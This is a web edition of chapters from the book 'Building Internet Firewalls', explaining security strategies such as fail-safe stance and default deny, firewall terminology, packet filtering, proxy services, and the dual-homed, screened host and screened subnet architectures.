A choke point may seem to be putting all your eggs in one basket, and therefore a bad idea, but the key is that it's a basket you can guard carefully. The alternative is to split your attention among many different possible avenues of attack. If you split your attention in this way, chances are that you won't be able to do an adequate job of defending any of the avenues of attack, or that someone will slip through one while you're busy defending another (where they may even have staged a diversion specifically to draw your attention away from their real attack).

Previous: 3.2 Defense in Depth | Building Internet Firewalls | Next: 3.4 Weakest Link
3.2 Defense in Depth | Book Index | 3.4 Weakest Link


[Chapter 3] 3.4 Weakest Link

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.3 Choke Point Chapter 3
Security Strategies 		Next: 3.5 Fail-Safe Stance

3.4 Weakest Link

A fundamental tenet of security is that a chain is only as strong as its weakest link and a wall is only as strong as its weakest point. Smart attackers are going to seek out that weak point and concentrate their attentions there. You need to be aware of the weak points of your defense so that you can take steps to eliminate them, and so that you can carefully monitor those you can't eliminate. You should try to pay attention evenly to all aspects of your security, so that there is no large difference in how insecure one thing is as compared to another.

There is always going to be a weakest link, however; the trick is to make that link strong enough and to keep the strength proportional to the risk. For instance, it's usually reasonable to worry more about people attacking you over the network than about people actually coming to your site to attack you physically; therefore you can usually allow your physical security to be your weakest link. It's not reasonable to neglect physical security altogether, however, because there's still some threat there. It's also not reasonable, for example, to protect Telnet connections very carefully, but not protect FTP connections, because of the similarities of the risks posed by those services.

Host security models suffer from a particularly nasty interaction between choke points and weak links; there's no choke point, which means that there are a very large number of links, and many of them may be very weak indeed.

Previous: 3.3 Choke Point | Building Internet Firewalls | Next: 3.5 Fail-Safe Stance
3.3 Choke Point | Book Index | 3.5 Fail-Safe Stance


[Chapter 3] 3.5 Fail-Safe Stance

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.4 Weakest Link Chapter 3
Security Strategies 		Next: 3.6 Universal Participation

3.5 Fail-Safe Stance

Another fundamental principle of security is that, to the extent possible, systems should fail safe; that is, if they're going to fail, they should fail in such a way that they deny access to an attacker, rather than letting the attacker in. The failure may also result in denying access to legitimate users as well, until repairs are made, but this is usually an acceptable tradeoff.

Safe failures are another principle with wide application in familiar places. Electrical devices are designed to go off - to stop - when they fail in almost any way. Elevators are designed to grip their cables if they're not being powered. Electric door locks generally unlock when the power fails, to avoid trapping people in buildings.

Most of the applications we discuss automatically fail safely. For example, if a packet filtering router goes down, it doesn't let any packets in. If a proxying program goes down, it provides no service. On the other hand, some host-based packet filtering systems are designed such that packets are allowed to arrive at a machine that runs a packet filtering application and separately runs applications providing services. The way some of these systems work, if the packet filtering application crashes (or is never started at boot time), the packets will be delivered to the applications providing services. This is not a fail-safe design and should be avoided.

The biggest application of this principle in network security is in choosing your site's stance with respect to security. Your stance is, essentially, your site's overall attitude towards security. Do you lean towards being restrictive or permissive? Are you more inclined to err in the direction of safety (some might call it paranoia) or freedom?

There are two fundamental stances that you can take with respect to security decisions and policies:

  • The default deny stance: Specify only what you allow and prohibit everything else.

  • The default permit stance: Specify only what you prohibit and allow everything else.

It may seem obvious to you which of these is the "right" approach to take; from a security point of view, it's the default deny stance. Probably, it will also seem obvious to your users and management; from their point of view, it's the default permit stance. It's important to make your stance clear to users and management, as well as to explain the reasons behind that stance. Otherwise, you're likely to spend a lot of unproductive time in conflict with them, wondering "How could they be so foolish as to even suggest that?" time and again, simply because they don't understand the security point of view.

3.5.1 Default Deny Stance: That Which Is Not Expressly Permitted Is Prohibited

The default deny stance makes sense from a security point of view because it is a fail-safe stance. It recognizes that what you don't know can hurt you. It's the obvious choice for most security people, but it's usually not at all obvious to users.

With the default deny stance, you prohibit everything by default; then, to determine what you are going to allow, you:

  • Examine the services your users want.

  • Consider the security implications of these services and how you can safely provide them.

  • Allow only the services that you understand, can provide safely, and see a legitimate need for.

Services are enabled on a case-by-case basis. You start by analyzing the security of a specific service, and balance its security implications against the needs of your users. Based on that analysis and the availability of various remedies to improve the security of the service, you settle on an appropriate compromise.

For one service, you might determine that you should provide the service to all users and can do so safely with commonly available packet filtering or proxy systems. For another service, you might determine that the service cannot be adequately secured by any currently available means, but that only a small number of your users or systems require it. In the latter case, perhaps its use can be restricted to that small set of users (who can be made aware of the risks through special training) or systems (which you may be able to protect in other ways; e.g., through host security). The whole key is to find a compromise that is appropriate to your particular situation.

3.5.2 Default Permit Stance: That Which Is Not Expressly Prohibited Is Permitted

Most users and managers prefer the default permit stance. They tend to assume that everything will be, by default, permitted, and that certain specific, troublesome actions and services will then be prohibited as necessary. For example:

  • NFS is not permitted across the firewall.

  • WWW access is restricted to users who have received awareness training about its security problems.

  • Users are not allowed to set up unauthorized servers.

They want you to tell them what's dangerous; to itemize those few (they think) things that they can't do, and to let them do everything else. This is definitely not a fail-safe stance.

First, it assumes that you know ahead of time precisely what the specific dangers are, how to explain them so users will understand them, and how to guard against them. Trying to guess what dangers might be in a system or out there on the Internet is essentially an impossible task. There are simply too many possible problems, and too much information (e.g., new security holes, new exploitations of old holes, etc.) to be able to keep up to date. If you don't know that something is a problem, it won't be on your "prohibited" list. In that case, it will go right on being a problem until you notice it and you'll probably notice it because somebody takes advantage of it.

Second, the default permit stance tends to degenerate into an escalating "arms race" between the firewall maintainer and the users. The maintainer prepares defenses against user action or inaction (or, he just keeps saying, "Don't do that!"); the users come up with fascinating new and insecure ways of doing things; and the process repeats, again and again. The maintainer is forever playing catch up. Inevitably, there are going to be periods of vulnerability between the time that a system is set up, the time that a security problem is discovered, and the time that the maintainer is able to respond to the problem. No matter how vigilant and cooperative everyone may be, some things are going to fall through the cracks forever: because the maintainer has never heard about them, because he has never realized the full security consequences; or because he just plain hasn't had time to work on the problem.

About the only people who benefit from the default permit stance are potential attackers, because the firewall maintainer can't possibly close all the holes, is forever stuck in "fire fighting" mode, and is likely to be far too busy to notice an attacker's activities.

For example, consider the problem of sharing files with collaborators at another site. Your users' first idea will probably be to use the same tool that they use to share files internally - NFS. The problem is, NFS is completely unsafe to allow across a firewall (for reasons discussed in Chapter 2, Internet Services and Chapter 8, Configuring Internet Services). Suppose that your stance is a permissive one, and you haven't specifically told your users that it's not safe to run NFS across your firewall (or even if you have told them, but don't remember or don't care). In this case, you're probably going to find yourself running NFS across your firewall because it seemed like a good idea to somebody who didn't understand (or care about) the security issues. If your stance is default deny, on the other hand, your users' attempts to set up NFS will fail. You'll need to explain why to them, suggest alternatives that are more secure (such as FTP), and look for ways to make those more secure alternatives easier to use without sacrificing security.

Previous: 3.4 Weakest Link | Building Internet Firewalls | Next: 3.6 Universal Participation
3.4 Weakest Link | Book Index | 3.6 Universal Participation


[Chapter 3] 3.6 Universal Participation

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.5 Fail-Safe Stance Chapter 3
Security Strategies 		Next: 3.7 Diversity of Defense

3.6 Universal Participation

In order to be fully effective, most security systems require the universal participation (or at least the absence of active opposition) of a site's personnel. If someone can simply opt out of your security mechanisms, then an attacker may be able to attack you by first attacking that exempt person's system and then attacking your site from the inside. For example, the best firewall in the world won't protect you if someone who sees it as an unreasonable burden sets up a back-door connection between your site and the Internet in order to circumvent the firewall. This can be as easy as buying a modem, obtaining free PPP or SLIP software off the Internet, and paying a few dollars a month to a local low-end Internet service provider; this is well within the price range and technical abilities of many users and managers.

Much more mundane forms of rebellion will still ruin your security. You need everybody to report strange happenings that might be security-related; you can't see everything. You need people to choose good passwords; to change them regularly; and not to give them out to their friends, relatives, and pets.

How do you get everyone to participate? Participation might be voluntary (you convince everybody that it's a good idea) or involuntary (someone with appropriate authority and power tells them to cooperate or else), or some combination of the two. Obviously, voluntary participation is strongly preferable to involuntary participation; you want folks helping you, not looking for ways to get around you. This means that you may have to work as an evangelist within your organization, selling folks on the benefits of security and convincing them that the benefits outweigh the costs.

People who are not voluntary participants will go to amazing lengths to circumvent security measures. On one voicemail system that required passwords to be changed every month, numerous people discovered that it recorded only six old passwords, and took to changing their passwords seven times in a row (in seven separate phone calls!) in order to be able to use the same password. This sort of behavior leads to an arms race (the programmers limit the number of times you can change your password), and soon numerous people are sucked into a purely internal battle. You have better things to do with your time, as do your users; it's worth spending a lot of energy to convince people to cooperate voluntarily, because you'll often spend just as much to force them, with worse side effects.

Previous: 3.5 Fail-Safe Stance | Building Internet Firewalls | Next: 3.7 Diversity of Defense
3.5 Fail-Safe Stance | Book Index | 3.7 Diversity of Defense


[Chapter 3] 3.7 Diversity of Defense

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.6 Universal Participation Chapter 3
Security Strategies 		Next: 3.8 Simplicity

3.7 Diversity of Defense

Just as you may get additional security from using a number of different systems to provide depth of defense, you may also get additional security from using a number of different types of systems. If all of your systems are the same, somebody who knows how to break into one of them probably knows how to break into all of them.

The idea behind diversity of defense is that using security systems from different vendors may reduce the chances of a common bug or configuration error that compromises them all. There is a tradeoff in terms of complexity and cost, however. Procuring and installing multiple different systems is going to be more difficult, take longer, and be more expensive than procuring and installing a single system (or even several identical systems). You're going to have to buy the multiple systems (at reduced discounts from each vendor, because you're buying less from them) and multiple support contracts to cover them. It's also going to take additional time and effort for your staff to learn how to deal with these different systems.

Beware of illusionary diversity. Simply using different vendors' UNIX systems probably won't buy you diversity, because most UNIX systems are derived from either the BSD or System V source code. Further, most common UNIX networking applications (such as Sendmail, telnet/telnetd, ftp/ftpd, and so on), are derived from the BSD sources, regardless of whether they're on a BSD- or System V-based platform. There were any number of bugs and security problems in the original releases that were propagated into most of the various vendor-specific versions of these operating systems; many vendor-specific versions of UNIX still have bugs and security problems that were first discovered years ago in other versions from other vendors, and have not yet been fixed.

Also beware that diverse systems configured by the same person (or group of people) may share common problems if the problems stem from conceptual rather than technological roots. If the problem is a misunderstanding about how a particular protocol works, for example, your diverse systems may all be configured incorrectly in the same way according to that misunderstanding.

Although many sites acknowledge that using multiple types of systems could potentially increase their security, they often conclude that diversity of defense is more trouble than it's worth, and that the potential gains and security improvements aren't worth the costs. We don't dispute this; each site needs to make its own evaluation and decision concerning this issue.

Previous: 3.6 Universal Participation | Building Internet Firewalls | Next: 3.8 Simplicity
3.6 Universal Participation | Book Index | 3.8 Simplicity


[Chapter 3] 3.8 Simplicity

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 3.7 Diversity of Defense Chapter 3
Security Strategies 		Next: II. Building Firewalls

3.8 Simplicity

Simplicity is a security strategy for two reasons. First, keeping things simple makes them easier to understand; if you don't understand something, you can't really know whether or not it's secure. Second, complexity provides nooks and crannies for all sorts of things to hide in; it's easier to secure a studio apartment than a mansion.

Complex programs have more bugs, any of which may be security problems. Even if bugs aren't in and of themselves security problems, once people start to expect a given system to behave erratically, they'll accept almost anything from it, which kills any hope of their recognizing and reporting security problems with it when these problems do arise.

Previous: 3.7 Diversity of Defense | Building Internet Firewalls | Next: II. Building Firewalls
3.7 Diversity of Defense | Book Index | II. Building Firewalls


[Chapter 4] Firewall Design

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: II. Building Firewalls Chapter 4 Next: 4.2 Firewall Architectures

4. Firewall Design

Contents:
Some Firewall Definitions
Firewall Architectures
Variations on Firewall Architectures
Internal Firewalls
What the Future Holds

In Chapter 1, Why Internet Firewalls?, we introduced Internet firewalls and summarized what they can and cannot do to improve network security. In this chapter, we present major firewalls concepts. What are the terms you will hear in discussions of Internet firewalls? What types of firewall architectures are used at sites today? What are the components that can be put together to build these common firewall architectures? In the remaining chapters of this book, we'll describe these components and architectures in detail.

4.1 Some Firewall Definitions

You may be familiar with some of the firewall terms listed below, and some may be new to you. Some may seem familiar, but they may be used in a way that is slightly different from what you're accustomed to (though we try to use terms that are as standard as possible). Unfortunately, there is no completely consistent terminology for firewall architectures and components. Different people use terms in different - or, worse still, conflicting - ways. Also, these same terms sometimes have other meanings in other networking fields; the definitions below are for a firewalls context.

These are very basic definitions; we describe these terms in greater detail elsewhere.

Firewall

A component or set of components that restricts access between a protected network and the Internet, or between other sets of networks.

Host

A computer system attached to a network.

Bastion host

A computer system that must be highly secured because it is vulnerable to attack, usually because it is exposed to the Internet and is a main point of contact for users of internal networks. It gets its name from the highly fortified projections on the outer walls of medieval castles.[1]

[1] Marcus Ranum, who is generally held responsible for the popularity of this term in the firewalls professional community, says, "Bastions...overlook critical areas of defense, usually having stronger walls, room for extra troops, and the occasional useful tub of boiling hot oil for discouraging attackers."

Dual-homed host

A general-purpose computer system that has at least two network interfaces (or homes)

Packet

The fundamental unit of communication on the Internet.

Packet filtering

The action a device takes to selectively control the flow of data to and from a network. Packet filters allow or block packets, usually while routing them from one network to another (most often from the Internet to an internal network, and vice versa). To accomplish packet filtering, you set up a set of rules that specify what types of packets (e.g., those to or from a particular IP address or port) are to be allowed and what types are to be blocked. Packet filtering may occur in a router, in a bridge, or on an individual host. It is sometimes known as screening.[2]

[2] Some networking literature (in particular, the BSD UNIX release from Berkeley) uses the term "packet filtering" to refer to something else entirely (selecting certain packets off a network for analysis, as is done by the etherfind or tcpdump programs).

Perimeter network

A network added between a protected network and an external network, in order to provide an additional layer of security. A perimeter network is sometimes called a DMZ, which stands for De-Militarized Zone (named after the zone separating North and South Korea).

Proxy server

A program that deals with external servers on behalf of internal clients. Proxy clients talk to proxy servers, which relay approved client requests on to real servers, and relay answers back to clients.

The next few sections briefly describe packet filtering and proxy services, two major approaches used to build firewalls today.

4.1.1 Packet Filtering

Packet filtering systems route packets betweeen internal and external hosts, but they do it selectively. They allow or block certain types of packets in a way that reflects a site's own security policy as shown in Figure 4.1. The type of router used in a packet filtering firewall is known as a screening router.

Figure 4.1: Using a screening router to do packet filtering

As we discuss in Chapter 6, Packet Filtering, every packet has a set of headers containing certain information. The main information is:

  • IP source address

  • IP destination address

  • Protocol (whether the packet is a TCP, UDP, or ICMP packet)

  • TCP or UDP source port

  • TCP or UDP destination port

  • ICMP message type

In addition, the router knows things about the packet that aren't reflected in the packet headers, such as:

  • The interface the packet arrives on

  • The interface the packet will go out on

The fact that servers for particular Internet services reside at certain port numbers lets the router block or allow certain types of connections simply by specifying the appropriate port number (e.g., TCP port 23 for Telnet connections) in the set of rules specified for packet filtering. (Chapter 6 describes in detail how you construct these rules.)

Here are some examples of ways in which you might program a screening router to selectively route packets to or from your site:

  • Block all incoming connections from systems outside the internal network, except for incoming SMTP connections (so that you can receive email).

  • Block all connections to or from certain systems you distrust.

  • Allow email and FTP services, but block dangerous services like TFTP, the X Window System, RPC, and the "r" services (rlogin, rsh, rcp, etc.).

To understand how packet filtering works, let's look at the difference between an ordinary router and a screening router.

An ordinary router simply looks at the destination address of each packet and picks the best way it knows to send that packet towards that destination. The decision about how to handle the packet is based solely on its destination. There are two possibilities: the router knows how to send the packet towards its destination, and it does so; or the router does not know how to send the packet towards its destination, and it returns the packet, via an ICMP "destination unreachable" message, to its source.

A screening router, on the other hand, looks at packets more closely. In addition to determining whether or not it can route a packet towards its destination, a screening router also determines whether or not it should. "Should" or "should not" are determined by the site's security policy, which the screening router has been configured to enforce.

Although it is possible for only a screening router to sit between an internal network and the Internet, as shown in Figure 4.1, this places an enormous responsibility on the screening router. Not only does it need to perform all routing and routing decision-making, but it is the only protecting system; if its security fails (or crumbles under attack), the internal network is exposed. Furthermore, a straightforward screening router can't modify services. A screening router can permit or deny a service, but it can't protect individual operations within a service. If a desirable service has insecure operations, or if the service is normally provided with an insecure server, packet filtering alone can't protect it.

A number of other architectures have evolved to provide additional security in packet filtering firewall implementations. Later in this chapter, we show the way that additional routers, bastion hosts, and perimeter networks may be added to the firewall implementations in the screened host and screened subnet architectures.

4.1.2 Proxy Services

Proxy services are specialized application or server programs that run on a firewall host: either a dual-homed host with an interface on the internal network and one on the external network, or some other bastion host that has access to the Internet and is accessible from the internal machines. These programs take users' requests for Internet services (such as FTP and Telnet) and forward them, as appropriate according to the site's security policy, to the actual services. The proxies provide replacement connections and act as gateways to the services. For this reason, proxies are sometimes known as application-level gateways.[3]

[3] Firewall terminologies differ. Whereas we use the term proxy service to encompass the entire proxy approach, other authors refer to application-level gateways and circuit-level gateways. Although there are small differences between the meanings of these various terms, which we'll explore in Chapter 7, Proxy Systems, in general our discussion of proxies refers to the same type of technology other authors mean when they refer to these gateway systems.

Proxy services sit, more or less transparently, between a user on the inside (on the internal network) and a service on the outside (on the Internet). Instead of talking to each other directly, each talks to a proxy. Proxies handle all the communication between users and Internet services behind the scenes.

Transparency is the major benefit of proxy services. It's essentially smoke and mirrors. To the user, a proxy server presents the illusion that the user is dealing directly with the real server. To the real server, the proxy server presents the illusion that the real server is dealing directly with a user on the proxy host (as opposed to the user's real host).

NOTE: Proxy services are effective only when they're used in conjunction with a mechanism that restricts direct communications between the internal and external hosts. Dual-homed hosts and packet filtering are two such mechanisms. If internal hosts are able to communicate directly with external hosts, there's no need for users to use proxy services, and so (in general) they won't. Such a bypass probably isn't in accordance with your security policy.

How do proxy services work? Let's look at the simplest case, where we add proxy services to a dual-homed host. (We'll describe these hosts in some detail in "Dual-Homed Host Architectures" later in this chapter.)

As Figure 4.2 shows, a proxy service requires two components: a proxy server and a proxy client. In this situation, the proxy server runs on the dual-homed host. A proxy client is a special version of a normal client program (i.e., a Telnet or FTP client) that talks to the proxy server rather than to the "real" server out on the Internet; in addition, if users are taught special procedures to follow, normal client programs can often be used as proxy clients. The proxy server evaluates requests from the proxy client, and decides which to approve and which to deny. If a request is approved, the proxy server contacts the real server on behalf of the client (thus the term "proxy"), and proceeds to relay requests from the proxy client to the real server, and responses from the real server to the proxy client.

Figure 4.2: Using proxy services with a dual-homed host

In some proxy systems, instead of installing custom client proxy software, you'll use standard software, but set up custom user procedures for using it. (We'll describe how this works in Chapter 7.)

A proxy service is a software solution, not a firewall architecture per se. You can use proxy services in conjunction with any of the firewall architectures described in the section called "Firewall Architectures" below.

The proxy server doesn't always just forward users' requests on to the real Internet services. The proxy server can control what users do, because it can make decisions about the requests it processes. Depending on your site's security policy, requests might be allowed or refused. For example, the FTP proxy might refuse to let users export files, or it might allow users to import files only from certain sites. More sophisticated proxy services might allow different capabilities to different hosts, rather than enforcing the same restrictions on all hosts.

There is some excellent software available for proxying. SOCKS is a proxy construction toolkit, designed to make it easy to convert existing client/server applications into proxy versions of those same applications. The Trusted Information Systems Internet Firewall Toolkit (TIS FWTK) includes proxy servers for a number of common Internet protocols, including Telnet, FTP, HTTP, rlogin, X11, and others; these proxy servers are designed to be used in conjunction with custom user procedures. See the discussion of these packages in Chapter 7.

Many standard client and server programs, both commercial and freely available, now come equipped with their own proxying capabilities, or with support for generic proxy systems like SOCKS. These capabilities can be enabled at run time or compile time.

4.1.3 Using a Combination of Techniques and Technologies

The "right solution" to building a firewall is seldom a single technique; it's usually a carefully crafted combination of techniques to solve different problems. Which problems you need to solve depend on what services you want to provide your users and what level of risk you're willing to accept. Which techniques you use to solve those problems depend on how much time, money, and expertise you have available.

Some protocols (e.g., Telnet and SMTP) can be more effectively handled with packet filtering. Others (e.g., FTP, Archie, Gopher, and WWW) are more effectively handled with proxies. (Chapter 8, Configuring Internet Services describes how to handle specific services in a firewall environment.) Most firewalls use a combination of proxying and packet filtering.

Previous: II. Building Firewalls | Building Internet Firewalls | Next: 4.2 Firewall Architectures
II. Building Firewalls | Book Index | 4.2 Firewall Architectures


[Chapter 4] 4.2 Firewall Architectures

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 4.1 Some Firewall Definitions Chapter 4
Firewall Design 		Next: 4.3 Variations on Firewall Architectures

4.2 Firewall Architectures

This section describes a variety of ways to put various firewalls components together.

4.2.1 Dual-Homed Host Architecture

A dual-homed host architecture is built around the dual-homed host computer, a computer which has at least two network interfaces. Such a host could act as a router between the networks these interfaces are attached to; it is capable of routing IP packets from one network to another. However, to implement a dual-homed host type of firewalls architecture, you disable this routing function. Thus, IP packets from one network (e.g., the Internet) are not directly routed to the other network (e.g., the internal, protected network). Systems inside the firewall can communicate with the dual-homed host, and systems outside the firewall (on the Internet) can communicate with the dual-homed host, but these systems can't communicate directly with each other. IP traffic between them is completely blocked.

The network architecture for a dual-homed host firewall is pretty simple: the dual homed host sits between, and is connected to, the Internet and the internal network. Figure 4.3 shows this architecture.

Figure 4.3: Dual-homed host architecture

Dual-homed hosts can provide a very high level of control. If you aren't allowing packets to go between external and internal networks at all, you can be sure that any packet on the internal network that has an external source is evidence of some kind of security problem. In some cases, a dual-homed host will allow you to reject connections that claim to be for a particular service but that don't actually contain the right kind of data. (A packet filtering system, on the other hand, has difficulty with this level of control.) However, it takes considerable work to consistently take advantage of the potential advantages of dual-homed hosts.

A dual-homed host can only provide services by proxying them, or by having users log into the dual-homed host directly. As we discuss in Chapter 5, Bastion Hosts, user accounts present significant security problems by themselves. They present special problems on dual-homed hosts, where they may unexpectedly enable services you consider insecure. Furthermore, most users find it inconvenient to use a dual-homed host by logging into it.

Proxying is much less problematic, but may not be available for all services you're interested in. Chapter 7 discusses some workarounds for this situation, but they do not apply in every case. The screened subnet architecture we describe in the next section offers some extra options for providing new and/or untrusted services (e.g., you can add to the screened subnet a worthless machine that provides only an untrusted service).

4.2.2 Screened Host Architecture

Whereas a dual-homed host architecture provides services from a host that's attached to multiple networks (but has routing turned off), a screened host architecture provides services from a host that's attached to only the internal network, using a separate router. In this architecture, the primary security is provided by packet filtering. (For example, packet filtering is what prevents people from going around proxy servers to make direct connections.)

Figure 4.4 shows a simple version of a screened host architecture.

Figure 4.4: Screened host architecture

The bastion host sits on the internal network. The packet filtering on the screening router is set up in such a way that the bastion host is the only system on the internal network that hosts on the Internet can open connections to (for example, to deliver incoming email). Even then, only certain types of connections are allowed. Any external system trying to access internal systems or services will have to connect to this host. The bastion host thus needs to maintain a high level of host security.

The packet filtering also permits the bastion host to open allowable connections (what is "allowable" will be determined by your site's particular security policy) to the outside world. The section about bastion hosts in the discussion of the screened subnet architecture later in this chapter, contains more information about the functions of bastion hosts, and Chapter 5 describes in detail how to build one.

The packet filtering configuration in the screening router may do one of the following:

  • Allow other internal hosts to open connections to hosts on the Internet for certain services (allowing those services via packet filtering, as discussed in Chapter 6),

  • Disallow all connections from internal hosts (forcing those hosts to use proxy services via the bastion host, as discussed in Chapter 7).

You can mix and match these approaches for different services; some may be allowed directly via packet filtering, while others may be allowed only indirectly via proxy. It all depends on the particular policy your site is trying to enforce.

Because this architecture allows packets to move from the Internet to the internal networks, it may seem more risky than a dual-homed host architecture, which is designed so that no external packet can reach the internal network. In practice, however, the dual-homed host architecture is also prone to failures that let packets actually cross from the external network to the internal network. (Because this type of failure is completely unexpected, there are unlikely to be protections against attacks of this kind.) Furthermore, it's easier to defend a router, which provides a very limited set of services, than it is to defend a host. For most purposes, the screened host architecture provides both better security and better usability than the dual-homed host architecture.

Compared to other architectures, however, such as the screened subnet architecture discussed in the following section, there are some disadvantages to the screened host architecture. The major one is that if an attacker manages to break in to the bastion host, there is nothing left in the way of network security between the bastion host and the rest of the internal hosts. The router also presents a single point of failure; if the router is compromised, the entire network is available to an attacker. For this reason, the screened subnet architecture has become increasingly popular.

4.2.3 Screened Subnet Architecture

The screened subnet architecture adds an extra layer of security to the screened host architecture by adding a perimeter network that further isolates the internal network from the Internet.

Why do this? By their nature, bastion hosts are the most vulnerable machines on your network. Despite your best efforts to protect them, they are the machines most likely to be attacked, because they're the machines that can be attacked. If, as in a screened host architecture, your internal network is wide open to attack from your bastion host, then your bastion host is a very tempting target. There are no other defenses between it and your other internal machines (besides whatever host security they may have, which is usually very little). If someone successfully breaks into the bastion host in a screened host architecture, he's hit the jackpot.

By isolating the bastion host on a perimeter network, you can reduce the impact of a break-in on the bastion host. It is no longer an instantaneous jackpot; it gives an intruder some access, but not all.

With the simplest type of screened subnet architecture, there are two screening routers, each connected to the perimeter net. One sits between the perimeter net and the internal network, and the other sits between the perimeter net and the external network (usually the Internet). To break into the internal network with this type of architecture, an attacker would have to get past both routers. Even if the attacker somehow broke in to the bastion host, he'd still have to get past the interior router. There is no single vulnerable point that will compromise the internal network.

Some sites go so far as to create a layered series of perimeter nets between the outside world and their interior network. Less trusted and more vulnerable services are placed on the outer perimeter nets, fathest from the interior network. The idea is that an attacker who breaks into a machine on an outer perimeter net will have a harder time successfully attacking internal machines because of the additional layers of security between the outer perimeter and the internal network. This is only true if there is actually some meaning to the different layers, however; if the filtering systems between each layer allow the same things between all layers, the additional layers don't provide any additional security.

Figure 4.5 shows a possible firewall configuration that uses the screened subnet architecture. The next few sections describe the components in this type of architecture.

Figure 4.5: Screened subnet architecture (using two routers)

4.2.3.1 Perimeter network

The perimeter network is another layer of security, an additional network between the external network and your protected internal network. If an attacker successfully breaks into the outer reaches of your firewall, the perimeter net offers an additional layer of protection between that attacker and your internal systems.

Here's an example of why a perimeter network can be helpful. In many network setups, it's possible for any machine on a given network to see the traffic for every machine on that network. This is true for most Ethernet-based networks, (and Ethernet is by far the most common local area networking technology in use today); it is also true for several other popular technologies, such as token ring and FDDI. Snoopers may succeed in picking up passwords by watching for those used during Telnet, FTP, and rlogin sessions. Even if passwords aren't compromised, snoopers can still peek at the contents of sensitive files people may be accessing, interesting email they may be reading, and so on; the snooper can essentially "watch over the shoulder" of anyone using the network.

With a perimeter network, if someone breaks into a bastion host on the perimeter net, he'll be able to snoop only on traffic on that net. All the traffic on the perimeter net should be either to or from the bastion host, or to or from the Internet. Because no strictly internal traffic (that is, traffic between two internal hosts, which is presumably sensitive or proprietary) passes over the perimeter net, internal traffic will be safe from prying eyes if the bastion host is compromised.

Obviously, traffic to and from the bastion host, or the external world, will still be visible. Part of the work in designing a firewall is ensuring that this traffic is not itself confidential enough that reading it will compromise your site as a whole. (This is discussed in Chapter 5.)

4.2.3.2 Bastion host

With the screened subnet architecture, you attach a bastion host (or hosts) to the perimeter net; this host is the main point of contact for incoming connections from the outside world; for example:

  • For incoming email (SMTP) sessions to deliver electronic mail to the site

  • For incoming FTP connections to the site's anonymous FTP server

  • For incoming domain name service (DNS) queries about the site

and so on.

Outbound services (from internal clients to servers on the Internet) are handled in either of these ways:

  • Set up packet filtering on both the exterior and interior routers to allow internal clients to access external servers directly.

  • Set up proxy servers to run on the bastion host (if your firewall uses proxy software) to allow internal clients to access external servers indirectly. You would also set up packet filtering to allow the internal clients to talk to the proxy servers on the bastion host and vice versa, but to prohibit direct communications between internal clients and the outside world.

In either case, the packet filtering allows the bastion host to connect to, and accept connections from, hosts on the Internet; which hosts, and for what services, are dictated by the site's security policy.

Much of what the bastion host does is act as proxy server for various services, either by running specialized proxy server software for particular protocols (such as HTTP or FTP), or by running standard servers for self-proxying protocols (such as SMTP).

Chapter 5 describes how to secure the bastion host, and Chapter 8 describes how to configure individual services to work with the firewall.

4.2.3.3 Interior router

The interior router (sometimes called the choke router in firewalls literature) protects the internal network both from the Internet and from the perimeter net.

The interior router does most of the packet filtering for your firewall. It allows selected services outbound from the internal net to the Internet. These services are the services your site can safely support and safely provide using packet filtering rather than proxies. (Your site needs to establish its own definition of what "safe" means. You'll have to consider your own needs, capabilities, and constraints; there is no one answer for all sites.) The services you allow might include outgoing Telnet, FTP, WAIS, Archie, Gopher, and others, as appropriate for your own needs and concerns. (For detailed information on how you can use packet filtering to control these services, see Chapter 6.)

The services the interior router allows between your bastion host (on the perimeter net itself) and your internal net are not necessarily the same services the interior router allows between the Internet and your internal net. The reason for limiting the services between the bastion host and the internal network is to reduce the number of machines (and the number of services on those machines) that can be attacked from the bastion host, should it be compromised.

You should limit the services allowed between the bastion host and the internal net to just those that are actually needed, such as SMTP (so the bastion host can forward incoming email), DNS (so the bastion host can answer questions from internal machines, or ask them, depending on your configuration), and so on. You should further limit services, to the extent possible, by allowing them only to or from particular internal hosts; for example, SMTP might be limited only to connections between the bastion host and your internal mail server or servers. Pay careful attention to the security of those remaining internal hosts and services that can be contacted by the bastion host, because those hosts and services will be what an attacker goes after - indeed, will be all the attacker can go after - if the attacker manages to break in to your bastion host.

4.2.3.4 Exterior router

In theory, the exterior router (sometimes called the access router in firewalls literature) protects both the perimeter net and the internal net from the Internet. In practice, exterior routers tend to allow almost anything outbound from the perimeter net, and they generally do very little packet filtering. The packet filtering rules to protect internal machines would need to be essentially the same on both the interior router and the exterior router; if there's an error in the rules that allows access to an attacker, the error will probably be present on both routers.

Frequently, the exterior router is provided by an external group (for example, your Internet provider), and your access to it may be limited. An external group that's maintaining a router will probably be willing to put in a few general packet filtering rules, but won't want to maintain a complicated or frequently changing rule set. You also may not trust them as much as you trust your own routers. If the router breaks and they install a new one, are they going to remember to reinstall the filters? Are they even going to bother to mention that they replaced the router so that you know to check?

The only packet filtering rules that are really special on the exterior router are those that protect the machines on the perimeter net (that is, the bastion hosts and the internal router). Generally, however, not much protection is necessary, because the hosts on the perimeter net are protected primarily through host security (although redundancy never hurts).

The rest of the rules that you could put on the exterior router are duplicates of the rules on the interior router. These are the rules that prevent insecure traffic from going between internal hosts and the Internet. To support proxy services, where the interior router will let the internal hosts send some protocols as long as they are talking to the bastion host, the exterior router could let those protocols through as long as they are coming from the bastion host. These rules are desirable for an extra level of security, but they're theoretically blocking only packets that can't exist because they've already been blocked by the interior router. If they do exist, either the interior router has failed, or somebody has connected an unexpected host to the perimeter network.

So, what does the exterior router actually need to do? One of the security tasks that the exterior router can usefully perform - a task that usually can't easily be done anywhere else - is the blocking of any incoming packets from the Internet that have forged source addresses. Such packets claim to have come from within the internal network, but actually are coming in from the Internet.

The interior router could do this, but it can't tell if packets that claim to be from the perimeter net are forged. While the perimeter net shouldn't have anything fully trusted on it, it's still going to be more trusted than the external universe; being able to forge packets from it will give an attacker most of the benefits of compromising the bastion host. The exterior router is at a clearer boundary. The interior router also can't protect the systems on the perimeter net against forged packets. (We'll discuss forged packets in greater detail in Chapter 6.

Previous: 4.1 Some Firewall Definitions | Building Internet Firewalls | Next: 4.3 Variations on Firewall Architectures
4.1 Some Firewall Definitions | Book Index | 4.3 Variations on Firewall Architectures


